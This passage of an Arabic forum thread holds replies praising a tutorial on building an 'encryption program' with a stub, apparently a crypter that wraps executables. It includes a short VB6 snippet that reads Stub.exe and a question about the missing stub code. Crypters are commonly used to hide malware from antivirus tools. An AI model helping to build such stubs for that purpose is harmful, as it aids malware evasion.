ان شاء الله الكل يصنع برنامجه التشفير بنفسوا


مشكور

تحياتي لك :29:

:6:
ربنـآ يخلييك يآ حبى نورت ألموضوووع يآآ غـ‘ـآآلى

:9::9:
 
إنضم
10 مارس 2011
المشاركات
6,224
الإعجابات
1,913
النقاط
113
العمر
10
الإقامة
أ‌أ،أ“أکأ­أ¤ أ‡أ،أ£أچأٹأ،أ‰
رد: إصنع بنفسك أفضل برنـآمج تشفير بـ خـصـآئص روعة حصريـآ عَ سـآحة تطوير ألـ ديف مع $مــسـتر*مــ‘ـآتر

تم التقيم بنجاح

اها
مشكور على الاهداء
:29:
 
إنضم
10 مارس 2011
المشاركات
1,945
الإعجابات
723
النقاط
0
رد: إصنع بنفسك أفضل برنـآمج تشفير بـ خـصـآئص روعة حصريـآ عَ سـآحة تطوير ألـ ديف مع $مــسـتر*مــ‘ـآتر



  • [*]ماشاء الله عليك تغيب وتجينا بجديد وابداع
    [*]افضل شرح برنامج تشفير برأيي
    [*]شامل وكأأآأمل والكمال لله طبعا
    [*]التقيييم اكيد لك وللموضوووع فايف على فايف
    [*]:29::29::29::29:



يكفيييييييييييينى مرورك حبيبى
نورت يـآ حبى والله
ربنـآ يخلييك يآلغلا
:32::32:
بتحرجنى بزووقك

:28:

 
إنضم
10 مارس 2011
المشاركات
1,945
الإعجابات
723
النقاط
0
رد: إصنع بنفسك أفضل برنـآمج تشفير بـ خـصـآئص روعة حصريـآ عَ سـآحة تطوير ألـ ديف مع $مــسـتر*مــ‘ـآتر

موضوع تــــــــــــــــــــــوب tooooooooooooooop

مبببببببببببببببببدع
ربنـآ يبآرك فيكم

مشكور عً ألمرور ألطيب

 
إنضم
7 سبتمبر 2010
المشاركات
3,294
الإعجابات
1,645
النقاط
113
رد: إصنع بنفسك أفضل برنـآمج تشفير بـ خـصـآئص روعة حصريـآ عَ سـآحة تطوير ألـ ديف مع $مــسـتر*مــ‘ـآتر

يستحق التثبيت فى اسرع وقت

اول مرة يعرض شرح هكذا فى المنتدى

شكرا لك جارى التجربة قريبا
:10::10:
 
إنضم
10 مارس 2011
المشاركات
1,945
الإعجابات
723
النقاط
0
رد: إصنع بنفسك أفضل برنـآمج تشفير بـ خـصـآئص روعة حصريـآ عَ سـآحة تطوير ألـ ديف مع $مــسـتر*مــ‘ـآتر

تم التقيم بنجاح

اها
مشكور على الاهداء
:29:
تسلملى يـآ حبى والله
ربنـآ يخليييك يآآ غـ‘ـآلى
وبعدين دة إهدآء مش عَ قد مقـآمك والله
:32::32::32::32:

 
إنضم
10 مارس 2011
المشاركات
1,945
الإعجابات
723
النقاط
0
رد: إصنع بنفسك أفضل برنـآمج تشفير بـ خـصـآئص روعة حصريـآ عَ سـآحة تطوير ألـ ديف مع $مــسـتر*مــ‘ـآتر

يستحق التثبيت فى اسرع وقت

اول مرة يعرض شرح هكذا فى المنتدى

شكرا لك جارى التجربة قريبا
:10::10:
مشكووور كتير
:9:
تسلم يآ حبى

 
إنضم
29 أغسطس 2010
المشاركات
7,525
الإعجابات
6,876
النقاط
113
العمر
100
الإقامة
الرياض
رد: إصنع بنفسك أفضل برنـآمج تشفير بـ خـصـآئص روعة حصريـآ عَ سـآحة تطوير ألـ ديف مع $مــسـتر*مــ‘ـآتر


  • طيب يا ماتركس لو يجيك واحد ذكي متلي
  • ويقول لك انت صنعت البرنامج وين الستب
  • ايش تقووول له

:15::15::15::15::15::15::15:
 
إنضم
14 أغسطس 2010
المشاركات
209
الإعجابات
223
النقاط
0
رد: إصنع بنفسك أفضل برنـآمج تشفير بـ خـصـآئص روعة حصريـآ عَ سـآحة تطوير ألـ ديف مع $مــسـتر*مــ‘ـآتر

كود:
[B][B][FONT=Arial]Open App.Path & "\" & "Stub.exe" For Binary As #1[/FONT][/B][/B]
[B][B][FONT=Arial] Stub = Space(LOF(1))[/FONT][/B][/B]
[B][B][FONT=Arial] Get #1, , Stub[/FONT][/B][/B]
[B][B][FONT=Arial] Close #1[/FONT][/B][/B]
[B][B][FONT=Arial] [/FONT][/B][/B]
لكن أين هو كود الستب؟؟؟
 

Ps

DeveloPer Plus
rankrankrankrank
إنضم
10 مارس 2011
المشاركات
1,394
الإعجابات
245
النقاط
83
رد: إصنع بنفسك أفضل برنـآمج تشفير بـ خـصـآئص روعة حصريـآ عَ سـآحة تطوير ألـ ديف مع $مــسـتر*مــ‘ـآتر

:15::15::15::15:
 
إنضم
10 مارس 2011
المشاركات
1,713
الإعجابات
187
النقاط
0
رد: إصنع بنفسك أفضل برنـآمج تشفير بـ خـصـآئص روعة حصريـآ عَ سـآحة تطوير ألـ ديف مع $مــسـتر*مــ‘ـآتر


الله يعطيك العـإآفيه مجهوود جبـإآإآر

موضوع 100 / 100



 
إنضم
12 أغسطس 2008
المشاركات
666
الإعجابات
62
النقاط
0
رد: إصنع بنفسك أفضل برنـآمج تشفير بـ خـصـآئص روعة حصريـآ عَ سـآحة تطوير ألـ ديف مع $مــسـتر*مــ‘ـآتر

dيسلموووووووووووووووووووووووووووووووووووووووووووووووووووووووووووووووووو:2:
 
الحالة
مغلق و غير مفتوح للمزيد من الردود.

الأعضاء النشطين حاليآ الذين يشاهدون هذا الموضوع (1 عضو و 0 ضيف)

خيارات الاستايل

نوع الخط
مودك
اخفاء السايدر بار OFF
توسيط المنتدى OFF
فصل الأقسام OFF
الأقسام الفرعية OFF
عرض المشاركات
حجم الخط
معلومات العضو OFF
إخفاء التوقيع OFF

إرجاع خيارات الإستايل